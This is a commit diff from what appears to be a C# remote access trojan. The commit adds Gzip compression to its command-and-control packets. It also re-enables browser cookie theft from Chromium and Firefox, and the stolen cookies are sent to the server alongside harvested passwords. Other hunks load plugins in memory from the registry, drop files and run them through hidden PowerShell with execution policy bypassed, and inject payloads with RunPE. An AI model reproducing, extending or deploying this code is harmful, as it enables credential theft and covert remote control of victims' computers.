fixed bugs
added Gzip compress/decompress for packets
This commit is contained in:
NYAN CAT 2019-10-05 12:25:13 +03:00
parent b57d957d03
commit d1b57f4291
74 changed files with 908 additions and 252 deletions

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Client.Algorithm
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -74,6 +74,7 @@
<ItemGroup>
<Compile Include="Algorithm\Aes256.cs" />
<Compile Include="Algorithm\Sha256.cs" />
<Compile Include="Algorithm\Zip.cs" />
<Compile Include="Handle Packet\Packet.cs" />
<Compile Include="Helper\Anti_Analysis.cs" />
<Compile Include="Helper\Methods.cs" />

View File

@ -163,10 +163,7 @@ namespace Client.Connection
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -174,7 +171,6 @@ namespace Client.Connection
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -33,7 +33,8 @@ namespace Client.Handle_Packet
case "plugin": // run plugin in memory
{
Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))));
Received();
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
Type type = assembly.GetType("Plugin.Plugin");
dynamic instance = Activator.CreateInstance(type);
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install);
@ -52,9 +53,9 @@ namespace Client.Handle_Packet
List<string> plugins = new List<string>();
foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
{
if (SetRegistry.GetValue(plugin.Trim()) == null)
if (SetRegistry.GetValue(plugin) == null)
{
plugins.Add(plugin.Trim());
plugins.Add(plugin);
Debug.WriteLine("plguin not found");
}
}
@ -84,6 +85,14 @@ namespace Client.Handle_Packet
}
}
private static void Received()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Received";
ClientSocket.Send(msgpack.Encode2Bytes());
Thread.Sleep(1000);
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();

View File

@ -8,6 +8,7 @@
* 1270,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 15:28:45
*/
using Client.Algorithm;
using System;
using System.Collections;
using System.Collections.Generic;
@ -494,6 +495,7 @@ namespace Client.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -835,7 +837,7 @@ namespace Client.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -59,6 +59,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="FormChat.resx">

View File

@ -126,10 +126,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -137,7 +134,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -53,6 +53,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -129,10 +129,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -140,7 +137,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -54,6 +54,7 @@
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="TempSocket.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -52,6 +52,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -41,7 +41,7 @@
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo></ILMergeDebugInfo>
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -70,6 +70,7 @@
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<None Include="ILMerge.props" />

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -59,6 +59,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -53,6 +53,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -92,16 +92,16 @@ namespace Plugin.Browsers.Chromium
break;
}
//List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
//foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
//{
// Coocks.Append(string.Concat(new string[]
// {
// fcc.ToString(),
// "\n\n",
// }));
//}
//Coocks.Append("\n");
List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
{
Coocks.Append(string.Concat(new string[]
{
fcc.ToString(),
"\n\n",
}));
}
Coocks.Append("\n");
}

View File

@ -1,4 +1,5 @@
using System;
using Plugin.Browsers.Firefox.Cookies;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
@ -10,30 +11,30 @@ namespace Plugin.Browsers.Firefox
public class Firefox
{
public bool isOK = false;
//public void CookiesRecovery(StringBuilder Cooks)
//{
// try
// {
// List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
// foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
// {
// if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
// {
// Cooks.Append("\n== Firefox ==========\n");
// isOK = true;
// }
// Cooks.Append(string.Concat(new string[]
// {
// fcc.ToString(),
// "\n\n",
// }));
// }
// Cooks.Append("\n");
// }
// catch
// {
// }
//}
public void CookiesRecovery(StringBuilder Cooks)
{
try
{
List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
{
if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
{
Cooks.Append("\n== Firefox ==========\n");
isOK = true;
}
Cooks.Append(string.Concat(new string[]
{
fcc.ToString(),
"\n\n",
}));
}
Cooks.Append("\n");
}
catch
{
}
}
public void CredRecovery(StringBuilder Pass)
{

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -14,23 +14,23 @@ namespace Plugin
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
new Browsers.Chromium.Chromium().Recovery(Credentials);
//StringBuilder Cookies = new StringBuilder();
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
StringBuilder Cookies = new StringBuilder();
new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Password").AsString = Credentials.ToString();
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
//msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
Error(ex.Message);
}
Connection.Disconnected();
}
}
public static void Error(string ex)
{

View File

@ -56,7 +56,9 @@
</ItemGroup>
<ItemGroup>
<Compile Include="Browsers\Chromium\Chromium.cs" />
<Compile Include="Browsers\Chromium\ChromiumCookies.cs" />
<Compile Include="Browsers\CredentialModel.cs" />
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
<Compile Include="Browsers\Firefox\Firefox.cs" />
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
@ -71,6 +73,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +131,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -87,6 +87,7 @@
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -124,10 +124,7 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -135,7 +132,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -71,6 +71,7 @@ namespace Plugin
MsgPack msgpack;
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
MemoryStream stream;
Thread.Sleep(1);
while (IsOk && Connection.IsConnected)
{
try

View File

@ -62,6 +62,7 @@
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -123,10 +123,8 @@ namespace Plugin
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
@ -134,7 +132,6 @@ namespace Plugin
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else

View File

@ -16,7 +16,7 @@ namespace Plugin.Handler
{
//Drop To Disk
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
else
@ -45,7 +45,7 @@ namespace Plugin.Handler
{
try
{
Assembly loader = Assembly.Load(buffer);
Assembly loader = Assembly.Load(Methods.Decompress(buffer));
object[] parm = null;
if (loader.EntryPoint.GetParameters().Length > 0)
{
@ -68,7 +68,7 @@ namespace Plugin.Handler
{
try
{
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), buffer, true);
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Methods.Decompress(buffer), true);
}
catch (Exception ex)
{

View File

@ -35,7 +35,11 @@ namespace Plugin.Handler
catch { }
}
try
{
Registry.CurrentUser.CreateSubKey(@"", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteSubKey(Connection.Hwid);
}
catch { }
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))

View File

@ -484,6 +484,7 @@ namespace Plugin.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
